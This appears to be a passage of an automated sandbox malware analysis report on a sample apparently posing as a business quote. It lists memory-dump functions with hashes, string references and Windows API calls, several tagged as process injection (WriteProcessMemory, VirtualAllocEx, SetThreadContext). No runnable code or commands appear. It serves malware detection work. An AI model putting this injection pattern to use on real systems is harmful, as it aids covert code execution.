Instruction ID: 5bf7baa8f1d678a0ae052ff0f1862424679f5395da6b9d1340b768c02a5ce048
Opcode Fuzzy Hash: 95ff841e50dbbc6fe298fff22208aff6e17940a65729df5dc1ce4568577bf217
Instruction Fuzzy Hash: C821B274A012298FDBA0CF64C894BEDBBB2EB49304F1085E9D41DA7250DB319EC5CF41

Function 0596BC90 Relevance: 2.5, Strings: 2, Instructions: 39COMMON

Download Yara Rule

Strings

:, xrefs: 0596C388
A, xrefs: 0596C35F

Memory Dump Source

Source File: 00000000.00000002.2231818294.0000000005960000.00000040.00000800.00020000.00000000.sdmp, Offset: 05960000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_5960000_Teklif-6205018797-6100052155-UUE.jbxd

Similarity

API ID:
String ID: :$A
API String ID: 0-646851060
Opcode ID: a98bf664ab6d7d199571625581d0cf0950569c5aca94ba36f101e65c0cf8dc14
Instruction ID: c69b27a5d957d97e82d1040a32fc62d2cbdf6b35d1cf86429d09d1ee7d8028ab
Opcode Fuzzy Hash: a98bf664ab6d7d199571625581d0cf0950569c5aca94ba36f101e65c0cf8dc14
Instruction Fuzzy Hash: 82119274905269CFDB61CF54C884BD8BBB1EB19304F1085D9E58DA7250DBB19EC9CF00

Function 05C758CC Relevance: 2.5, Strings: 2, Instructions: 22COMMON

Download Yara Rule

Strings

6, xrefs: 05C758F2
), xrefs: 05C75921

Memory Dump Source

Source File: 00000000.00000002.2232891361.0000000005C70000.00000040.00000800.00020000.00000000.sdmp, Offset: 05C70000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_5c70000_Teklif-6205018797-6100052155-UUE.jbxd

Similarity

API ID:
String ID: )$6
API String ID: 0-4136620098
Opcode ID: a5b855abee4cf7bb3169c0feb8d942621f5673b59b4f9969359541baabc0ae19
Instruction ID: 8cb36cbe79cbba10a561e4a5b9cbaba965c860b0c0e58c383270a2aba062b6c0
Opcode Fuzzy Hash: a5b855abee4cf7bb3169c0feb8d942621f5673b59b4f9969359541baabc0ae19
Instruction Fuzzy Hash: C4F0DAB090012A8FDB64EF54D488BAA7BB6EB44304F1088E8D119A3641DA755EC59F55

Function 0593ABF8 Relevance: 1.9, Strings: 1, Instructions: 677COMMON

Download Yara Rule

Strings

,aq, xrefs: 0593AF73

Memory Dump Source

Source File: 00000000.00000002.2231654792.0000000005930000.00000040.00000800.00020000.00000000.sdmp, Offset: 05930000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_5930000_Teklif-6205018797-6100052155-UUE.jbxd

Similarity

API ID:
String ID: ,aq
API String ID: 0-3092978723
Opcode ID: b2f314d036795bddbccf6e0464849955c41213708d35b01b75c26175195968ba
Instruction ID: 6c550eb7bbd9fd4ad643005e84640eb0f2f8a2c576ae086b402e293a95225608
Opcode Fuzzy Hash: b2f314d036795bddbccf6e0464849955c41213708d35b01b75c26175195968ba
Instruction Fuzzy Hash: 98523A75A002288FDB64DF68C985BEDBBF6BF88300F1544D9E549AB351DA309E80CF61

Function 05934FD0 Relevance: 1.8, Strings: 1, Instructions: 538COMMON

Download Yara Rule

Strings

(_]q, xrefs: 0593526D

Memory Dump Source

Source File: 00000000.00000002.2231654792.0000000005930000.00000040.00000800.00020000.00000000.sdmp, Offset: 05930000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_5930000_Teklif-6205018797-6100052155-UUE.jbxd

Similarity

API ID:
String ID: (_]q
API String ID: 0-188044275
Opcode ID: aa8c1fd34295f18fe0a1272297475c59cbddb868054118df20b1a13db6f0b430
Instruction ID: ff2262f878a5e3ca45cf48a2045df4861ce376e6f114564aaec44bbcfb9e9a0c
Opcode Fuzzy Hash: aa8c1fd34295f18fe0a1272297475c59cbddb868054118df20b1a13db6f0b430
Instruction Fuzzy Hash: C6225D35A00214DFDB04DFA8D495AADB7F6FF88300F168469E906AB3A1DB71ED41CB90

Function 0598E564 Relevance: 1.8, APIs: 1, Instructions: 265processCOMMON

Download Yara Rule

APIs

CreateProcessA.KERNEL32(?,?,?,?,?,?,?,?,?,?), ref: 0598E7D7

Memory Dump Source

Source File: 00000000.00000002.2231971594.0000000005980000.00000040.00000800.00020000.00000000.sdmp, Offset: 05980000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_5980000_Teklif-6205018797-6100052155-UUE.jbxd

Similarity

API ID: CreateProcess
String ID:
API String ID: 963392458-0
Opcode ID: 0136a848d7b4faab23759a7861a38f3342ab96b88f359e4414e7dc3d26f1a7ca
Instruction ID: fe2fcaf4bdf4c6fec400e6ae7282bc88ee7bac39e91e7006a70ba2734994daa8
Opcode Fuzzy Hash: 0136a848d7b4faab23759a7861a38f3342ab96b88f359e4414e7dc3d26f1a7ca
Instruction Fuzzy Hash: 17A13470D00219DFDB10DFA9C895BEDBBB5FF09304F14916AE859A7280DB789985CF81

Function 0598E570 Relevance: 1.8, APIs: 1, Instructions: 261processCOMMON

Download Yara Rule

APIs

CreateProcessA.KERNEL32(?,?,?,?,?,?,?,?,?,?), ref: 0598E7D7

Memory Dump Source

Source File: 00000000.00000002.2231971594.0000000005980000.00000040.00000800.00020000.00000000.sdmp, Offset: 05980000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_5980000_Teklif-6205018797-6100052155-UUE.jbxd

Similarity

API ID: CreateProcess
String ID:
API String ID: 963392458-0
Opcode ID: ccfab3434c37f31fdeb19af31366d9e30b094f56d9df0e61158d74b62e867e77
Instruction ID: 957a42558570f1976a8dcd153e49ff23360e9ba28b23ab44d9b86c569c88ec5f
Opcode Fuzzy Hash: ccfab3434c37f31fdeb19af31366d9e30b094f56d9df0e61158d74b62e867e77
Instruction Fuzzy Hash: C0A12470D00219CFDB10DFA9C895BEEBBB5FF09304F149169E859A7280DB789985CF81

Function 0598EFE0 Relevance: 1.6, APIs: 1, Instructions: 118injectionCOMMON

Download Yara Rule

APIs

WriteProcessMemory.KERNEL32(?,?,?,?,?), ref: 0598F0BB

Memory Dump Source

Source File: 00000000.00000002.2231971594.0000000005980000.00000040.00000800.00020000.00000000.sdmp, Offset: 05980000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_5980000_Teklif-6205018797-6100052155-UUE.jbxd

Similarity

API ID: MemoryProcessWrite
String ID:
API String ID: 3559483778-0
Opcode ID: 1cbbbbd18a5dcc796ee06537cf132f0941e552b2a6b5d2a31552614c848c853f
Instruction ID: 80db31ee269fcc41f8b88f9ffab107d4561f0eabe12a9435031670aeda5acd48
Opcode Fuzzy Hash: 1cbbbbd18a5dcc796ee06537cf132f0941e552b2a6b5d2a31552614c848c853f
Instruction Fuzzy Hash: D841CAB5D012589FCF00DFA9D980AEEFBF1BB09310F20902AE418B7240D338AA45CF64

Function 0598EFE8 Relevance: 1.6, APIs: 1, Instructions: 116injectionCOMMON

Download Yara Rule

APIs

WriteProcessMemory.KERNEL32(?,?,?,?,?), ref: 0598F0BB

Memory Dump Source

Source File: 00000000.00000002.2231971594.0000000005980000.00000040.00000800.00020000.00000000.sdmp, Offset: 05980000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_5980000_Teklif-6205018797-6100052155-UUE.jbxd

Similarity

API ID: MemoryProcessWrite
String ID:
API String ID: 3559483778-0
Opcode ID: 66d57a4076e15640d7a5a5c8201b97ac3724d55ad2d3f84fee2e70a60203a56d
Instruction ID: f460bc41acf9c6178303a31c862fb20f5e8ff48d05294c1ee5b874fa2b86e606
Opcode Fuzzy Hash: 66d57a4076e15640d7a5a5c8201b97ac3724d55ad2d3f84fee2e70a60203a56d
Instruction Fuzzy Hash: 24419AB5D012589FCF00DFA9D984AEEFBF1BB49310F10902AE419B7210D739AA45CF64

Function 0598EE81 Relevance: 1.6, APIs: 1, Instructions: 103memoryCOMMON

Download Yara Rule

APIs

VirtualAllocEx.KERNEL32(?,?,?,?,?), ref: 0598EF32

Memory Dump Source

Source File: 00000000.00000002.2231971594.0000000005980000.00000040.00000800.00020000.00000000.sdmp, Offset: 05980000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_5980000_Teklif-6205018797-6100052155-UUE.jbxd

Similarity

API ID: AllocVirtual
String ID:
API String ID: 4275171209-0
Opcode ID: 14d892137fa262d75be98b6dfab4833650cb45b5db6f877335d003ca4c6a4845
Instruction ID: 80267d1651ab2fdf3beaf11aa91c7d79afe00c7eadc066515709f9bdaef6a689
Opcode Fuzzy Hash: 14d892137fa262d75be98b6dfab4833650cb45b5db6f877335d003ca4c6a4845
Instruction Fuzzy Hash: 2B3197B9D042589FCF10CFA9D980AAEFBB5FB49310F10942AE819B7250D735A945CFA4

Function 0598EE88 Relevance: 1.6, APIs: 1, Instructions: 101memoryCOMMON

Download Yara Rule

APIs

VirtualAllocEx.KERNEL32(?,?,?,?,?), ref: 0598EF32

Memory Dump Source

Source File: 00000000.00000002.2231971594.0000000005980000.00000040.00000800.00020000.00000000.sdmp, Offset: 05980000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_5980000_Teklif-6205018797-6100052155-UUE.jbxd

Similarity

API ID: AllocVirtual
String ID:
API String ID: 4275171209-0
Opcode ID: 0205f6394580c4824e9a0ddace57c9a7e4fdf2b868baa0bf870e6baa7147cfe7
Instruction ID: 776ae381270046f54bca71f01b05bbb0cda2a69ed3d09d5579269ab72b2c4dea
Opcode Fuzzy Hash: 0205f6394580c4824e9a0ddace57c9a7e4fdf2b868baa0bf870e6baa7147cfe7
Instruction Fuzzy Hash: 2A3188B8D04258DFCF10DFA9D980AEEFBB5BB49310F10942AE815B7210D735A945CFA5

Function 0598F4D1 Relevance: 1.6, APIs: 1, Instructions: 99memoryCOMMON

Download Yara Rule

APIs

VirtualProtect.KERNELBASE(?,?,?,?), ref: 0598F57C

Memory Dump Source

Source File: 00000000.00000002.2231971594.0000000005980000.00000040.00000800.00020000.00000000.sdmp, Offset: 05980000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_5980000_Teklif-6205018797-6100052155-UUE.jbxd

Similarity

API ID: ProtectVirtual
String ID:
API String ID: 544645111-0
Opcode ID: 359e9be4b52317684048b9cbe251abc800ae12b236bef58c321b8e1db8523c4a
Instruction ID: 7580225b7b341903f96cc3eeb31b963daf38fd75f77094a5965c5797cea43896
Opcode Fuzzy Hash: 359e9be4b52317684048b9cbe251abc800ae12b236bef58c321b8e1db8523c4a
Instruction Fuzzy Hash: 9E31BBB4D002589FCB10DFA9D584AEEFBF5BF49310F14942AE819B7210D735A945CF94

Function 0598F4D8 Relevance: 1.6, APIs: 1, Instructions: 98memoryCOMMON

Download Yara Rule

APIs

VirtualProtect.KERNELBASE(?,?,?,?), ref: 0598F57C

Memory Dump Source

Source File: 00000000.00000002.2231971594.0000000005980000.00000040.00000800.00020000.00000000.sdmp, Offset: 05980000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_5980000_Teklif-6205018797-6100052155-UUE.jbxd

Similarity

API ID: ProtectVirtual
String ID:
API String ID: 544645111-0
Opcode ID: 7c27bb61279c6be019a7aceadbadecb308fd7826376d4511bf4defb51742b264
Instruction ID: be8418eb371c150305e744b4df5582202d59a6cb9c39d715da945d281629ec88
Opcode Fuzzy Hash: 7c27bb61279c6be019a7aceadbadecb308fd7826376d4511bf4defb51742b264
Instruction Fuzzy Hash: 2C31CAB4D002589FCB10DFAAD884AEEFBB1BF09310F14942AE815B7210C739A945CFA4

Function 05A0D598 Relevance: 1.6, APIs: 1, Instructions: 96memoryCOMMON

Download Yara Rule

APIs

VirtualProtect.KERNEL32(?,?,?,?), ref: 05A0D63C

Memory Dump Source

Source File: 00000000.00000002.2232473759.0000000005A00000.00000040.00000800.00020000.00000000.sdmp, Offset: 05A00000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_5a00000_Teklif-6205018797-6100052155-UUE.jbxd

Similarity

API ID: ProtectVirtual
String ID:
API String ID: 544645111-0
Opcode ID: 2850c4624ba7827373d3d15c6398fb3c3b9341472acba583750ed0cdbf8e2cae
Instruction ID: 970366c20322682ce8d739a72d55a1c014032ec2de6e64b1fc54fdd1a2aec4e2
Opcode Fuzzy Hash: 2850c4624ba7827373d3d15c6398fb3c3b9341472acba583750ed0cdbf8e2cae
Instruction Fuzzy Hash: 4531A8B9D102489FCF10CFA9D984A9EFBB5BF49310F10942AE819B7210D735A945CFA4

Function 0598E928 Relevance: 1.6, APIs: 1, Instructions: 94threadCOMMON

Download Yara Rule

APIs

Wow64SetThreadContext.KERNEL32(?,?), ref: 0598E9D7

Memory Dump Source

Source File: 00000000.00000002.2231971594.0000000005980000.00000040.00000800.00020000.00000000.sdmp, Offset: 05980000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_5980000_Teklif-6205018797-6100052155-UUE.jbxd

Similarity

API ID: ContextThreadWow64
String ID:
API String ID: 983334009-0
Opcode ID: 325478b9007e8bddfcffd16eaad3ff4962efb26bdbfc9f6e943318eefb6ba8d0
Instruction ID: 4e50bec658db727a2f12a4af842b7ecd039b0c6e09b8ef630996f07ad24057b1
Opcode Fuzzy Hash: 325478b9007e8bddfcffd16eaad3ff4962efb26bdbfc9f6e943318eefb6ba8d0
Instruction Fuzzy Hash: 7131BBB5D002589FCB10DFAAD984AEEFBF5BF49310F14842AE419B7240C779A985CF94

Function 0598E921 Relevance: 1.6, APIs: 1, Instructions: 93threadCOMMON

Download Yara Rule

APIs

Wow64SetThreadContext.KERNEL32(?,?), ref: 0598E9D7

Memory Dump Source

Source File: 00000000.00000002.2231971594.0000000005980000.00000040.00000800.00020000.00000000.sdmp, Offset: 05980000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_5980000_Teklif-6205018797-6100052155-UUE.jbxd

Similarity

API ID: ContextThreadWow64
String ID:
API String ID: 983334009-0
Opcode ID: 50ea2183e0913b74390c5a269755570e4fb4a01733a2a1925846741c3a5e8f05
Instruction ID: 5ecfe21b3466d386534cfa9efccb89dabf6da42db3df4674ccc64cf28fd83f7b
Opcode Fuzzy Hash: 50ea2183e0913b74390c5a269755570e4fb4a01733a2a1925846741c3a5e8f05
Instruction Fuzzy Hash: FE41BAB5D002589FCB10DFA9D984AEEFBF5BF49310F14842AE419B7240C778A985CF54

Function 0598A770 Relevance: 1.6, APIs: 1, Instructions: 83COMMON

Download Yara Rule

APIs

SleepEx.KERNEL32(?,?), ref: 0598A802

Memory Dump Source

Source File: 00000000.00000002.2231971594.0000000005980000.00000040.00000800.00020000.00000000.sdmp, Offset: 05980000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_5980000_Teklif-6205018797-6100052155-UUE.jbxd

Similarity

API ID: Sleep
String ID:
API String ID: 3472027048-0
Opcode ID: 994645edf268be44497b7276244a2e8357e143d1bed940ae911b1d1ca7d5c1e7
Instruction ID: 6a0193f7826b22235e06454e6633355e04213d18fd937a021529c49d20a07535
Opcode Fuzzy Hash: 994645edf268be44497b7276244a2e8357e143d1bed940ae911b1d1ca7d5c1e7
Instruction Fuzzy Hash: 9131DBB4D012189FCB10DFAAD980AEEFBF5BF49310F10842AE805B7200C738A945CFA4

Function 0598A768 Relevance: 1.6, APIs: 1, Instructions: 80COMMON

Download Yara Rule

APIs

SleepEx.KERNEL32(?,?), ref: 0598A802

Memory Dump Source

Source File: 00000000.00000002.2231971594.0000000005980000.00000040.00000800.00020000.00000000.sdmp, Offset: 05980000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_5980000_Teklif-6205018797-6100052155-UUE.jbxd

Similarity

API ID: Sleep
String ID:
API String ID: 3472027048-0
Opcode ID: f68f60b34882f09cc7f3e8f692ba3b2344e6e95d3f8c4fadee07841f0b45eab4
Instruction ID: 8bedb0264d6348155d0da4f1c90c68361fcb8e8a67e8e744f1cff91641ec0ee7
Opcode Fuzzy Hash: f68f60b34882f09cc7f3e8f692ba3b2344e6e95d3f8c4fadee07841f0b45eab4
Instruction Fuzzy Hash: 0231AAB9D012589FCB10CFA9D580AEEFBF5BF49310F24942AE815B7210D739A945CFA4

Function 05939D09 Relevance: 1.5, Strings: 1, Instructions: 221COMMON

Download Yara Rule

Strings

4']q, xrefs: 05939F32

Memory Dump Source

Source File: 00000000.00000002.2231654792.0000000005930000.00000040.00000800.00020000.00000000.sdmp, Offset: 05930000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_5930000_Teklif-6205018797-6100052155-UUE.jbxd

Similarity

API ID:
String ID: 4']q
API String ID: 0-1259897404
Opcode ID: 2d00e622048f8c00789185ca35c1e712365a2f359353836eb93f77279c90ee54
Instruction ID: 2c365e4c67c0885fef6ce81385940791b92a7e5fa635ffc4baf3afa9a01ea7f4
Opcode Fuzzy Hash: 2d00e622048f8c00789185ca35c1e712365a2f359353836eb93f77279c90ee54
Instruction Fuzzy Hash: 0FA1C834B10218DFCB04DFA4D899AADBBB6FF89300F558559E806AB365DB70EC46CB50

Function 05930B50 Relevance: 1.4, Strings: 1, Instructions: 161COMMON

Download Yara Rule

Strings

(aq, xrefs: 05930BC4

Memory Dump Source

Source File: 00000000.00000002.2231654792.0000000005930000.00000040.00000800.00020000.00000000.sdmp, Offset: 05930000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_5930000_Teklif-6205018797-6100052155-UUE.jbxd

Similarity

API ID:
String ID: (aq
API String ID: 0-600464949
Opcode ID: d05434ff98d447cbcf01943581fea0ad430bf6a6a9b1f491c9bf04e833d2e8a5
Instruction ID: 5cd847ebe07c3fa6c083b6829ea6e5cc5e0062793e2022319b27730e406fbb24
Opcode Fuzzy Hash: d05434ff98d447cbcf01943581fea0ad430bf6a6a9b1f491c9bf04e833d2e8a5
Instruction Fuzzy Hash: 3C51AD31A00616CFCB00DF58C885A6AFBB6FF85320F168665E9199B391DB30F852CBD4

Function 0593EA18 Relevance: 1.4, Strings: 1, Instructions: 145COMMON

Download Yara Rule

Strings

(aq, xrefs: 0593EB44

Memory Dump Source

Source File: 00000000.00000002.2231654792.0000000005930000.00000040.00000800.00020000.00000000.sdmp, Offset: 05930000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_5930000_Teklif-6205018797-6100052155-UUE.jbxd

Similarity

API ID:
String ID: (aq
API String ID: 0-600464949
Opcode ID: a3a21a46c04715bc64161b7f9b8895b1f2535d372a5bdb888a7cb18eeceecdcc
Instruction ID: d699cd2cc52e631fd9cbbb75358504469be1920717205fb72feee66923128f84
Opcode Fuzzy Hash: a3a21a46c04715bc64161b7f9b8895b1f2535d372a5bdb888a7cb18eeceecdcc
Instruction Fuzzy Hash: 67417036744114AFCB469FA8D815E5A7FB6FF89320B1A80A5F205DB372CA31EC11DB54

Function 0593D9B7 Relevance: 1.4, Strings: 1, Instructions: 137COMMON

Download Yara Rule

Strings

4']q, xrefs: 0593DA02

Memory Dump Source

Source File: 00000000.00000002.2231654792.0000000005930000.00000040.00000800.00020000.00000000.sdmp, Offset: 05930000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_5930000_Teklif-6205018797-6100052155-UUE.jbxd

Similarity

API ID:
String ID: 4']q
API String ID: 0-1259897404
Opcode ID: 2c768a823c3762920049d9635d358c2a8403a8c057d9e780508509fcdc97144d
Instruction ID: 6920ab23d32be364705e04a4da6626bda13bd2fddc60a3c028f24745984aa2b0
Opcode Fuzzy Hash: 2c768a823c3762920049d9635d358c2a8403a8c057d9e780508509fcdc97144d
Instruction Fuzzy Hash: 0E416034B10614CFCB04AF64C8A9AADB7BBEFC9700F104519D442AB3A4CFB4AD46CB91

Function 00790870 Relevance: 1.4, Strings: 1, Instructions: 135COMMON

Download Yara Rule

Strings

<dtq, xrefs: 007908F5

Memory Dump Source

Source File: 00000000.00000002.2206273148.0000000000790000.00000040.00000800.00020000.00000000.sdmp, Offset: 00790000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_790000_Teklif-6205018797-6100052155-UUE.jbxd

Similarity

API ID:
String ID: <dtq
API String ID: 0-3090548385
Opcode ID: acf9ffedee3b9fff4afbb0d9bf42f1133171b317ace8717fcf17cac55107a0a2
Instruction ID: 2f478714333c51c6abd04282cce0dfe191bf0f5e97e1bf5c16e34968028e1478
Opcode Fuzzy Hash: acf9ffedee3b9fff4afbb0d9bf42f1133171b317ace8717fcf17cac55107a0a2
Instruction Fuzzy Hash: B8414B71B28115CFEF04DB68E4449BDB7F6BB48320B208166E50AEB362D738AD41DBD1

Function 05939188 Relevance: 1.4, Strings: 1, Instructions: 121COMMON

Download Yara Rule

Strings

4']q, xrefs: 059391D1

Memory Dump Source

Source File: 00000000.00000002.2231654792.0000000005930000.00000040.00000800.00020000.00000000.sdmp, Offset: 05930000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_5930000_Teklif-6205018797-6100052155-UUE.jbxd

Similarity

API ID:
String ID: 4']q
API String ID: 0-1259897404
Opcode ID: 63c75a4ef0ee1e9ff10a53caafc292bc875390aa3920a94f87f1c69e51302d7a
Instruction ID: 5da6e1bdbf173880a1731acf2396e58366585986637ae1cd3092f08fa2b2a1dc
Opcode Fuzzy Hash: 63c75a4ef0ee1e9ff10a53caafc292bc875390aa3920a94f87f1c69e51302d7a
Instruction Fuzzy Hash: 54411135700204DFCB089F68D884E5EBFBBEF88310B058969E50A9B376CA75DC42CB90

Function 0079E330 Relevance: 1.4, Strings: 1, Instructions: 118COMMON

Download Yara Rule

Strings

TJbq, xrefs: 0079E43E

Memory Dump Source

Source File: 00000000.00000002.2206273148.0000000000790000.00000040.00000800.00020000.00000000.sdmp, Offset: 00790000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_790000_Teklif-6205018797-6100052155-UUE.jbxd

Similarity

API ID:
String ID: TJbq
API String ID: 0-1760495472
Opcode ID: c7d7e5446a61c75aa72c0d0028882ea063f7aa4c1484ca00105f254ec9dca78a
Instruction ID: 53a1a4be3753c29770e7e8a6e357d98a6d254d0f3d8e46d4075e6aa6913980e1
Opcode Fuzzy Hash: c7d7e5446a61c75aa72c0d0028882ea063f7aa4c1484ca00105f254ec9dca78a
Instruction Fuzzy Hash: C151E574E01208DFCB48DFA9E598AADBBF2FF89301F20846AE415A7360DB745945CF51

Function 05934330 Relevance: 1.4, Strings: 1, Instructions: 116COMMON

Download Yara Rule

Strings

p<]q, xrefs: 0593437A

Memory Dump Source

Source File: 00000000.00000002.2231654792.0000000005930000.00000040.00000800.00020000.00000000.sdmp, Offset: 05930000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_5930000_Teklif-6205018797-6100052155-UUE.jbxd

Similarity

API ID:
String ID: p<]q
API String ID: 0-1327301063
Opcode ID: de2f9e8b149fa2bce9268baf20d2981e09b4cc2a8e217a9a121a5f969f33dd43
Instruction ID: 6c08e69a84f62a009f0bf98a0e9a388e2c79f6496b3b9883d0111a34f0a1cdcf
Opcode Fuzzy Hash: de2f9e8b149fa2bce9268baf20d2981e09b4cc2a8e217a9a121a5f969f33dd43
Instruction Fuzzy Hash: 5741BF36308144DFCB55CF29C889A6A7BE9FF89351B0A40A5F85ACB371DA35DC50CB20

Function 05930448 Relevance: 1.3, Strings: 1, Instructions: 98COMMON

Download Yara Rule

Strings

(aq, xrefs: 05930498

Memory Dump Source

Source File: 00000000.00000002.2231654792.0000000005930000.00000040.00000800.00020000.00000000.sdmp, Offset: 05930000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_5930000_Teklif-6205018797-6100052155-UUE.jbxd

Similarity

API ID:
String ID: (aq
API String ID: 0-600464949
Opcode ID: 46e3bd114cef1add7dbcf672a803450c907326020609212e3268eefb858f447f
Instruction ID: 6d4f3c5d31a823928601101457bac133cd9da9a3d5228b41c765697e652642f0
Opcode Fuzzy Hash: 46e3bd114cef1add7dbcf672a803450c907326020609212e3268eefb858f447f
Instruction Fuzzy Hash: 8021D2363041559FE7045EA9D844AAE7B6BEFC9320B14813AF909CB391DE75DC02C7A0

Function 05A0E760 Relevance: 1.3, APIs: 1, Instructions: 94memoryCOMMON

Download Yara Rule

APIs

VirtualAlloc.KERNEL32(?,?,?,?), ref: 05A0E7FF

Memory Dump Source

Source File: 00000000.00000002.2232473759.0000000005A00000.00000040.00000800.00020000.00000000.sdmp, Offset: 05A00000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_5a00000_Teklif-6205018797-6100052155-UUE.jbxd

Similarity

API ID: AllocVirtual
String ID:
API String ID: 4275171209-0
Opcode ID: b5f3f0596b85ed737d9526c0a7f00c1434a56591fb564735e62afa48424e1e27
Instruction ID: e85fa092693fe94aecd648263511e00cadc22dec840874a4f5d5fc030f48a1a0
Opcode Fuzzy Hash: b5f3f0596b85ed737d9526c0a7f00c1434a56591fb564735e62afa48424e1e27
Instruction Fuzzy Hash: BC31B8B8D002489FCF10CFA9D884AAEFBB5FF49310F10942AE815B7210C735A945CFA4

Function 057C0D6C Relevance: 1.3, Strings: 1, Instructions: 89COMMON

Download Yara Rule

Strings

4']q, xrefs: 057C1549

Memory Dump Source

Source File: 00000000.00000002.2230984646.00000000057C0000.00000040.00000800.00020000.00000000.sdmp, Offset: 057C0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_57c0000_Teklif-6205018797-6100052155-UUE.jbxd

Similarity

API ID:
String ID: 4']q
API String ID: 0-1259897404
Opcode ID: ab81c603d26fd6d18495e4eac8f08f88e9b4d9f0809fa7e27422399177eac937
Instruction ID: dcd32d0db4f67bca0ebacd579596c3096a687b6a3dfdcb4c80f79967e9ced3a5
Opcode Fuzzy Hash: ab81c603d26fd6d18495e4eac8f08f88e9b4d9f0809fa7e27422399177eac937
Instruction Fuzzy Hash: 6D318B74D08259CFDB19CFA9D8086FEBFB2EB45300F0480AED015A7292C7386986DF81

Function 0596BBDB Relevance: 1.3, Strings: 1, Instructions: 51COMMON

Download Yara Rule

Strings

", xrefs: 0596C3AF

Memory Dump Source

Source File: 00000000.00000002.2231818294.0000000005960000.00000040.00000800.00020000.00000000.sdmp, Offset: 05960000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_5960000_Teklif-6205018797-6100052155-UUE.jbxd

Similarity

API ID:
String ID: "
API String ID: 0-123907689
Opcode ID: 3271bc5ec847717f8fe58bc3a562433b790bbf4373c136a102940cb62618b01a
Instruction ID: cdf8f2729c3e015a247aa3b666defbcbd626ffd84eab8cd7679e2320d61de50b
Opcode Fuzzy Hash: 3271bc5ec847717f8fe58bc3a562433b790bbf4373c136a102940cb62618b01a
Instruction Fuzzy Hash: FC215E74A05268CFDB60CF64C988BE9BBB2AB89305F1495DAD50DAB350DB719EC5CF00

Function 0585950B Relevance: 1.3, Strings: 1, Instructions: 50COMMON

Download Yara Rule

Strings

&, xrefs: 05859F11

Memory Dump Source

Source File: 00000000.00000002.2231078076.0000000005850000.00000040.00000800.00020000.00000000.sdmp, Offset: 05850000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_5850000_Teklif-6205018797-6100052155-UUE.jbxd

Similarity

API ID:
String ID: &
API String ID: 0-1010288
Opcode ID: ca22771a4ce0c1003eb24d25e02c1c9ba0c0b2e69052bef2f66dfe4e47c74911
Instruction ID: c440c6d644b7e97e8546f5f53ab92cd051b12aa2a244052ecb4c904e6a22a887
Opcode Fuzzy Hash: ca22771a4ce0c1003eb24d25e02c1c9ba0c0b2e69052bef2f66dfe4e47c74911
Instruction Fuzzy Hash: 4621A374A402288FCBA8DF29C855BDABBB1BF49305F1085EAD94AE7350DB745E81CF41

Function 0596B34C Relevance: 1.3, Strings: 1, Instructions: 42COMMON

Download Yara Rule

Strings

, xrefs: 0596B36C

Memory Dump Source

Source File: 00000000.00000002.2231818294.0000000005960000.00000040.00000800.00020000.00000000.sdmp, Offset: 05960000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_5960000_Teklif-6205018797-6100052155-UUE.jbxd

Similarity

API ID:
String ID:
API String ID: 0-3916222277
Opcode ID: abc6854250ca62622bd73fabfe0cf291ee00f243579e68b120288bc9a615307d
Instruction ID: 551faeda14e9f92b96cec20c3662236d7b121f8668f7d2e5d61ed83a687f39b8
Opcode Fuzzy Hash: abc6854250ca62622bd73fabfe0cf291ee00f243579e68b120288bc9a615307d
Instruction Fuzzy Hash: 96119F74905269CFCB60DF28D988B9CB7F2EB48305F2484DAD40EB7251EB759A89CF04

Function 0585DC41 Relevance: 1.3, Strings: 1, Instructions: 30COMMON

Download Yara Rule

Strings

Te]q, xrefs: 0585DC70

Memory Dump Source

Source File: 00000000.00000002.2231078076.0000000005850000.00000040.00000800.00020000.00000000.sdmp, Offset: 05850000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_5850000_Teklif-6205018797-6100052155-UUE.jbxd

Similarity

API ID:
String ID: Te]q
API String ID: 0-52440209
Opcode ID: 814d91696995bdcf4e38f5f347e765c174e4191c1c9f6f4100f10c1519768640
Instruction ID: 673696d1992363683885eba0279a600e8e456c6c24db998c35a2b86394451c48
Opcode Fuzzy Hash: 814d91696995bdcf4e38f5f347e765c174e4191c1c9f6f4100f10c1519768640
Instruction Fuzzy Hash: D5010074A02218DFCB14EF68D885B9DBBF2EF4A314F104899E949A7351CB309E80CF02

Function 0596B70C Relevance: 1.3, Strings: 1, Instructions: 28COMMON

Download Yara Rule

Strings

